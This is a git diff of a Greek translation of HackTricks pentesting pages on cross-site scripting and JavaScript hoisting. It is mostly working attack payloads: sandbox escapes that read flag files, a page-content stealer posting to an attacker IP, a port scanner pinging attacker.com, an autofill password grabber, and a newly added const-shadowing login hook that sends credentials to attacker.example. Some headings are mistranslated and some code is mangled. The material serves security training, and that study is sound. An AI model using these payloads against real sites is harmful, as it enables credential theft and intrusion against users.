{ partition } from "lodash" chrome-cache-to-xss.md {{#endref}} -### Διαφυγή XS Jails +### XS Jails Escape -Αν έχετε μόνο ένα περιορισμένο σύνολο χαρακτήρων για χρήση, ελέγξτε αυτές τις άλλες έγκυρες λύσεις για προβλήματα XSJail: +Αν έχεις μόνο περιορισμένο σύνολο χαρακτήρων για χρήση, έλεγξε αυτές τις άλλες έγκυρες λύσεις για προβλήματα XSJail: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() @@ -992,7 +1027,7 @@ constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` -Αν **τα πάντα είναι μη καθορισμένα** πριν την εκτέλεση μη αξιόπιστου κώδικα (όπως σε [**αυτή την αναφορά**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), είναι δυνατόν να δημιουργηθούν χρήσιμα αντικείμενα "από το τίποτα" για να εκμεταλλευτούμε την εκτέλεση αυθαίρετου μη αξιόπιστου κώδικα: +Αν **όλα είναι undefined** πριν την εκτέλεση untrusted code (όπως στο [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) είναι δυνατό να δημιουργηθούν χρήσιμα αντικείμενα "από το τίποτα" για να καταχραστείτε την εκτέλεση arbitrary untrusted code: - Χρησιμοποιώντας import() ```javascript @@ -1001,13 +1036,13 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` - Πρόσβαση στο `require` έμμεσα -[Σύμφωνα με αυτό](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) τα modules περιτυλίγονται από το Node.js μέσα σε μια συνάρτηση, όπως αυτό: +[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) τα modules τυλίγονται από το Node.js μέσα σε μια συνάρτηση, όπως αυτή: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code }) ``` -Επομένως, αν από εκείνο το module μπορούμε να **καλέσουμε μια άλλη συνάρτηση**, είναι δυνατόν να χρησιμοποιήσουμε `arguments.callee.caller.arguments[1]` από εκείνη τη συνάρτηση για να αποκτήσουμε πρόσβαση στο **`require`**: +Επομένως, αν από εκείνο το module μπορούμε να **call another function**, είναι δυνατό να χρησιμοποιήσουμε `arguments.callee.caller.arguments[1]` από εκείνη την function για να αποκτήσουμε πρόσβαση στο **`require`**: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( @@ -1016,7 +1051,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -Με παρόμοιο τρόπο με το προηγούμενο παράδειγμα, είναι δυνατόν να **χρησιμοποιήσετε διαχειριστές σφαλμάτων** για να αποκτήσετε πρόσβαση στο **wrapper** της μονάδας και να αποκτήσετε τη λειτουργία **`require`**: +Με παρόμοιο τρόπο με το προηγούμενο παράδειγμα, είναι δυνατό να **use error handlers** για να αποκτήσετε πρόσβαση στο **wrapper** του module και να πάρετε τη **`require`** function: ```javascript try { null.f() @@ -1056,7 +1091,7 @@ trigger() ``` ### Obfuscation & Advanced Bypass -- **Διαφορετικές παραλλαγές σε μία σελίδα:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) +- **Διάφορα obfuscations σε μία σελίδα:** [https://aem1k.com/aurebesh.js/](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) @@ -1235,18 +1270,18 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o] ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` -## XSS κοινές επιθέσεις +## XSS συνηθισμένα payloads -### Πολλές επιθέσεις σε 1 +### Πολλαπλά payloads σε 1 {{#ref}} steal-info-js.md {{#endref}} -### Παγίδα Iframe +### Iframe Trap -Κάντε τον χρήστη να πλοηγηθεί στη σελίδα χωρίς να βγει από ένα iframe και κλέψτε τις ενέργειές του (συμπεριλαμβανομένων των πληροφοριών που αποστέλλονται σε φόρμες): +Κάντε τον χρήστη να πλοηγηθεί στη σελίδα χωρίς να βγει από το iframe και να κλέψετε τις ενέργειές του (συμπεριλαμβανομένων των πληροφοριών που αποστέλλονται σε φόρμες): {{#ref}} @@ -1276,9 +1311,9 @@ steal-info-js.md ``` > [!TIP] -> Δεν **θα μπορείτε να αποκτήσετε πρόσβαση στα cookies από το JavaScript** αν η σημαία HTTPOnly είναι ρυθμισμένη στο cookie. Αλλά εδώ έχετε [μερικούς τρόπους για να παρακάμψετε αυτή την προστασία](../hacking-with-cookies/index.html#httponly) αν είστε αρκετά τυχεροί. +> **Δεν θα μπορείτε να αποκτήσετε πρόσβαση στα cookies από JavaScript** εάν η σημαία HTTPOnly έχει οριστεί στο cookie. Αλλά εδώ έχετε [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) αν είστε αρκετά τυχεροί. -### Κλοπή Περιεχομένου Σελίδας +### Κλοπή περιεχομένου της σελίδας ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8" var attacker = "http://10.10.14.8/exfil" @@ -1291,7 +1326,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) xhr.open("GET", url, true) xhr.send(null) ``` -### Βρείτε εσωτερικές διευθύνσεις IP +### Εύρεση internal IPs ```html ``` -### Σαρωτής Θερμικών Θυρών (fetch) +### Port Scanner (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` -### Σαρωτής Θερμοφυσικών (websockets) +### Port Scanner (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` -### Συλλογή κωδικών πρόσβασης αυτόματης συμπλήρωσης +### Καταγραφή αυτόματης συμπλήρωσης κωδικών ```javascript Username:
@@ -1386,11 +1421,26 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Όταν εισάγονται δεδομένα στο πεδίο κωδικού πρόσβασης, το όνομα χρήστη και ο κωδικός πρόσβασης αποστέλλονται στον διακομιστή των επιτιθεμένων, ακόμη και αν ο πελάτης επιλέξει έναν αποθηκευμένο κωδικό και δεν γράψει τίποτα, τα διαπιστευτήρια θα εξαχθούν. +Όταν οποιαδήποτε δεδομένα εισαχθούν στο password field, το username και το password αποστέλλονται στον attackers server — ακόμα και αν ο client επιλέξει ένα saved password και δεν γράψει τίποτα, τα credentials θα είναι ex-filtrated. + +### Hijack form handlers to exfiltrate credentials (const shadowing) + +If a critical handler (e.g., `function DoLogin(){...}`) is declared later in the page, and your payload runs earlier (e.g., via an inline JS-in-JS sink), define a `const` with the same name first to preempt and lock the handler. Later function declarations cannot rebind a `const` name, leaving your hook in control: +```javascript +const DoLogin = () => { +const pwd = Trim(FormInput.InputPassword.value); +const user = Trim(FormInput.InputUtente.value); +fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd)); +}; +``` +Σημειώσεις +- Αυτό βασίζεται στη σειρά εκτέλεσης: η injection σας πρέπει να εκτελεστεί πριν από τη νόμιμη δήλωση. +- Αν το payload σας είναι τυλιγμένο σε `eval(...)`, οι δεσμεύσεις `const/let` δεν θα γίνουν global. Χρησιμοποιήστε την dynamic ` ``` -### Κατάχρηση Υπηρεσιών Εργαζομένων +### Κατάχρηση Service Workers {{#ref}} @@ -1434,7 +1484,7 @@ abusing-service-workers.md shadow-dom.md {{#endref}} -### Πολυγλωσσικά +### Polyglots {{#ref}} @@ -1510,7 +1560,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln ``` ### Regex - Πρόσβαση σε Κρυφό Περιεχόμενο -Από [**αυτή την αναφορά**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμη και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρούμε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να τη βρούμε μετά την αφαίρεση της τιμής της εισόδου του regex: +Από [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) μπορεί κανείς να μάθει ότι, ακόμη κι αν κάποιες τιμές εξαφανιστούν από το JS, εξακολουθεί να είναι δυνατό να τις βρει κανείς σε JS attributes μέσα σε διαφορετικά objects. Για παράδειγμα, ένα input ενός REGEX εξακολουθεί να μπορεί να εντοπιστεί ακόμη και μετά την αφαίρεση της τιμής του input του regex: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1527,7 +1577,7 @@ console.log( document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ) ``` -### Λίστα Brute-Force +### Brute-Force List {{#ref}} @@ -1536,9 +1586,9 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt ## XSS Κατάχρηση άλλων ευπαθειών -### XSS σε Markdown +### XSS στο Markdown -Μπορείτε να εισάγετε κώδικα Markdown που θα αποδοθεί; Ίσως μπορείτε να αποκτήσετε XSS! Ελέγξτε: +Μπορείς να εισάγεις κώδικα Markdown που θα αποδοθεί; Ίσως έτσι να προκύψει XSS! Έλεγξε: {{#ref}} @@ -1547,39 +1597,41 @@ xss-in-markdown.md ### XSS σε SSRF -Έχετε XSS σε μια **ιστοσελίδα που χρησιμοποιεί caching**; Δοκιμάστε **να το αναβαθμίσετε σε SSRF** μέσω Edge Side Include Injection με αυτό το payload: +Βρήκες XSS σε έναν **ιστότοπο που χρησιμοποιεί caching**; Δοκίμασε να **το αναβαθμίσεις σε SSRF** μέσω Edge Side Include Injection με αυτό το payload: ```python ``` -Χρησιμοποιήστε το για να παρακάμψετε περιορισμούς cookie, φίλτρα XSS και πολλά άλλα!\ -Περισσότερες πληροφορίες σχετικά με αυτή την τεχνική εδώ: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). +Χρησιμοποίησέ το για να παρακάμψεις περιορισμούς cookie, XSS φίλτρα και πολλά ακόμα!\ +Περισσότερες πληροφορίες για αυτήν την τεχνική εδώ: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). ### XSS σε δυναμικά δημιουργημένο PDF -Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **παγιδεύσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο κώδικα JS**.\ -Έτσι, αν το **bot δημιουργίας PDF βρει** κάποιο είδος **HTML** **tags**, θα **τα ερμηνεύσει**, και μπορείτε να **καταχραστείτε** αυτή τη συμπεριφορά για να προκαλέσετε ένα **Server XSS**. +Αν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας δεδομένα που ελέγχονται από τον χρήστη, μπορείς να προσπαθήσεις να **ξεγελάσεις το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο JS κώδικα**.\ +Έτσι, αν το **PDF creator bot εντοπίσει** κάποιο είδος **HTML tags**, θα τα **ερμηνεύσει**, και μπορείς να **κακοχρησιμοποιήσεις** αυτή τη συμπεριφορά για να προκαλέσεις **Server XSS**. + {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} -Εάν δεν μπορείτε να εισάγετε HTML tags, μπορεί να αξίζει να προσπαθήσετε να **εισάγετε δεδομένα PDF**: +Αν δεν μπορείς να εισάγεις HTML tags, μπορεί να αξίζει να δοκιμάσεις να **inject PDF data**: + {{#ref}} pdf-injection.md {{#endref}} -### XSS σε Amp4Email +### XSS in Amp4Email -Το AMP, που στοχεύει στην επιτάχυνση της απόδοσης ιστοσελίδων σε κινητές συσκευές, ενσωματώνει HTML tags συμπληρωμένα με JavaScript για να διασφαλίσει τη λειτουργικότητα με έμφαση στην ταχύτητα και την ασφάλεια. Υποστηρίζει μια σειρά από συστατικά για διάφορες δυνατότητες, προσβάσιμα μέσω [AMP components](https://amp.dev/documentation/components/?format=websites). +Το AMP, που στοχεύει στην επιτάχυνση της απόδοσης ιστοσελίδων σε κινητές συσκευές, ενσωματώνει HTML tags συμπληρωμένα με JavaScript για να εξασφαλίσει λειτουργικότητα με έμφαση στην ταχύτητα και την ασφάλεια. Υποστηρίζει μια σειρά από components για διάφορες λειτουργίες, προσβάσιμα μέσω [AMP components](https://amp.dev/documentation/components/?format=websites). -Η [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) μορφή επεκτείνει συγκεκριμένα AMP components σε emails, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με το περιεχόμενο απευθείας μέσα στα emails τους. +Η [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) μορφή επεκτείνει συγκεκριμένα AMP components στα email, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με το περιεχόμενο απευθείας μέσα στα email τους. -Παράδειγμα [**writeup XSS σε Amp4Email στο Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). +Παράδειγμα [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). -### XSS ανεβάζοντας αρχεία (svg) +### XSS uploading files (svg) -Ανεβάστε ως εικόνα ένα αρχείο όπως το παρακάτω (από [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): +Ανέβασε ως εικόνα ένα αρχείο σαν το παρακάτω (από [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): ```html Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 @@ -1637,7 +1689,7 @@ id="foo"/> ``` Βρείτε **περισσότερα SVG payloads στο** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -## Διάφορα JS Tricks & Σχετικές Πληροφορίες +## Διάφορα JS κόλπα & Σχετικές Πληροφορίες {{#ref}} @@ -1653,4 +1705,9 @@ other-js-tricks.md - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) - [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide) +## Αναφορές + +- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html) +- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md index a7d2e3a7b..8c0e5ca57 100644 --- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md +++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md @@ -2,31 +2,31 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Βασικές Πληροφορίες -Στη γλώσσα JavaScript, περιγράφεται ένας μηχανισμός γνωστός ως **Hoisting**, όπου οι δηλώσεις μεταβλητών, συναρτήσεων, κλάσεων ή εισαγωγών θεωρητικά ανυψώνονται στην κορυφή του πεδίου τους πριν εκτελεστεί ο κώδικας. Αυτή η διαδικασία εκτελείται αυτόματα από την μηχανή JavaScript, η οποία διασχίζει το σενάριο σε πολλές περάσεις. +Στη γλώσσα JavaScript, υπάρχει ένας μηχανισμός γνωστός ως **Hoisting** όπου οι δηλώσεις μεταβλητών, συναρτήσεων, κλάσεων ή imports θεωρητικά ανυψώνονται στην κορυφή του scope τους πριν εκτελεστεί ο κώδικας. Αυτή η διαδικασία γίνεται αυτόματα από τη μηχανή JavaScript, η οποία επεξεργάζεται το script σε πολλαπλές διελεύσεις. -Κατά την πρώτη πέραση, η μηχανή αναλύει τον κώδικα για να ελέγξει για συντακτικά σφάλματα και τον μετατρέπει σε ένα αφηρημένο δέντρο συντακτικού. Αυτή η φάση περιλαμβάνει το hoisting, μια διαδικασία όπου ορισμένες δηλώσεις μετακινούνται στην κορυφή του εκτελεστικού πλαισίου. Εάν η φάση ανάλυσης είναι επιτυχής, υποδεικνύοντας ότι δεν υπάρχουν συντακτικά σφάλματα, η εκτέλεση του σεναρίου προχωρά. +Κατά την πρώτη διέλευση, η μηχανή καταχωρεί τον κώδικα για να ελέγξει για συντακτικά λάθη και τον μετασχηματίζει σε ένα abstract syntax tree. Αυτή η φάση περιλαμβάνει το hoisting, μια διαδικασία όπου ορισμένες δηλώσεις μετακινούνται στην κορυφή του execution context. Αν η φάση parsing περάσει επιτυχώς, δηλαδή δεν υπάρχουν συντακτικά λάθη, προχωρά η εκτέλεση του script. -Είναι κρίσιμο να κατανοήσετε ότι: +Είναι κρίσιμο να κατανοήσουμε ότι: -1. Το σενάριο πρέπει να είναι ελεύθερο από συντακτικά σφάλματα για να συμβεί η εκτέλεση. Οι κανόνες σύνταξης πρέπει να τηρούνται αυστηρά. -2. Η τοποθέτηση του κώδικα μέσα στο σενάριο επηρεάζει την εκτέλεση λόγω του hoisting, αν και ο εκτελούμενος κώδικας μπορεί να διαφέρει από την κειμενική του αναπαράσταση. +1. Το script πρέπει να είναι ελεύθερο από συντακτικά λάθη για να συμβεί εκτέλεση. Οι κανόνες σύνταξης πρέπει να τηρούνται αυστηρά. +2. Η τοποθέτηση του κώδικα μέσα στο script επηρεάζει την εκτέλεση λόγω του hoisting, αν και ο εκτελούμενος κώδικας μπορεί να διαφέρει από την κειμενική του αναπαράσταση. -#### Types of Hoisting +#### Τύποι του Hoisting -Βασισμένο στις πληροφορίες από το MDN, υπάρχουν τέσσερις διακριτοί τύποι hoisting στη JavaScript: +Βάσει των πληροφοριών από MDN, υπάρχουν τέσσερις διακριτοί τύποι hoisting στη JavaScript: -1. **Value Hoisting**: Ενεργοποιεί τη χρήση της τιμής μιας μεταβλητής μέσα στο πεδίο της πριν από τη γραμμή δήλωσής της. -2. **Declaration Hoisting**: Επιτρέπει την αναφορά σε μια μεταβλητή μέσα στο πεδίο της πριν από τη δήλωσή της χωρίς να προκαλεί `ReferenceError`, αλλά η τιμή της μεταβλητής θα είναι `undefined`. -3. Αυτός ο τύπος αλλάζει τη συμπεριφορά μέσα στο πεδίο του λόγω της δήλωσης της μεταβλητής πριν από την πραγματική γραμμή δήλωσής της. -4. Οι παρενέργειες της δήλωσης συμβαίνουν πριν από την αξιολόγηση του υπόλοιπου κώδικα που την περιέχει. +1. **Value Hoisting**: Επιτρέπει τη χρήση της τιμής μιας μεταβλητής μέσα στο scope πριν από τη γραμμή της δήλωσής της. +2. **Declaration Hoisting**: Επιτρέπει την αναφορά σε μια μεταβλητή μέσα στο scope πριν από τη δήλωσή της χωρίς να προκαλεί `ReferenceError`, αλλά η τιμή της μεταβλητής θα είναι `undefined`. +3. Αυτός ο τύπος αλλάζει τη συμπεριφορά μέσα στο scope λόγω της δήλωσης της μεταβλητής πριν από την πραγματική γραμμή δήλωσής της. +4. Οι παρενέργειες της δήλωσης συμβαίνουν πριν αξιολογηθεί το υπόλοιπο του κώδικα που την περιέχει. -Λεπτομερώς, οι δηλώσεις συναρτήσεων εμφανίζουν συμπεριφορά τύπου 1 hoisting. Η λέξη-κλειδί `var` δείχνει συμπεριφορά τύπου 2. Οι λεξικές δηλώσεις, οι οποίες περιλαμβάνουν `let`, `const` και `class`, δείχνουν συμπεριφορά τύπου 3. Τέλος, οι δηλώσεις `import` είναι μοναδικές καθώς ανυψώνονται με συμπεριφορές τύπου 1 και τύπου 4. +Ενδεικτικά, οι δηλώσεις συναρτήσεων εμφανίζουν συμπεριφορά hoisting τύπου 1. Η λέξη-κλειδί `var` δείχνει συμπεριφορά τύπου 2. Οι lexical declarations, που περιλαμβάνουν `let`, `const`, και `class`, δείχνουν συμπεριφορά τύπου 3. Τέλος, οι δηλώσεις `import` είναι μοναδικές στο ότι hoistάρονται με συμπεριφορές τόσο τύπου 1 όσο και τύπου 4. -## Scenarios +## Σενάρια -Επομένως, αν έχετε σενάρια όπου μπορείτε να **Inject JS code after an undeclared object** είναι δυνατόν να **fix the syntax** δηλώνοντάς το (έτσι ώστε ο κώδικάς σας να εκτελείται αντί να προκαλεί σφάλμα): +Επομένως, αν έχετε σενάρια όπου μπορείτε να **Inject JS code after an undeclared object** χρησιμοποιείται, μπορείτε να **fix the syntax** δηλώνοντάς το (ώστε ο κώδικάς σας να εκτελεστεί αντί να πετάξει σφάλμα): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); @@ -127,11 +127,31 @@ alert(1) - }, }) } +trigger() ``` +### Προλάβετε μετέπειτα δηλώσεις κλειδώνοντας ένα όνομα με const + +Αν μπορείτε να εκτελεστείτε πριν γίνει parsing ενός top-level `function foo(){...}`, η δήλωση μιας λεξικής δέσμευσης με το ίδιο όνομα (π.χ., `const foo = ...`) θα αποτρέψει τη μετέπειτα δήλωση function από το να επαναδεσμεύσει αυτόν τον αναγνωριστή. Αυτό μπορεί να καταχραστεί σε RXSS για να υποκλέψει κρίσιμους handlers που ορίζονται αργότερα στη σελίδα: +```javascript +// Malicious code runs first (e.g., earlier inline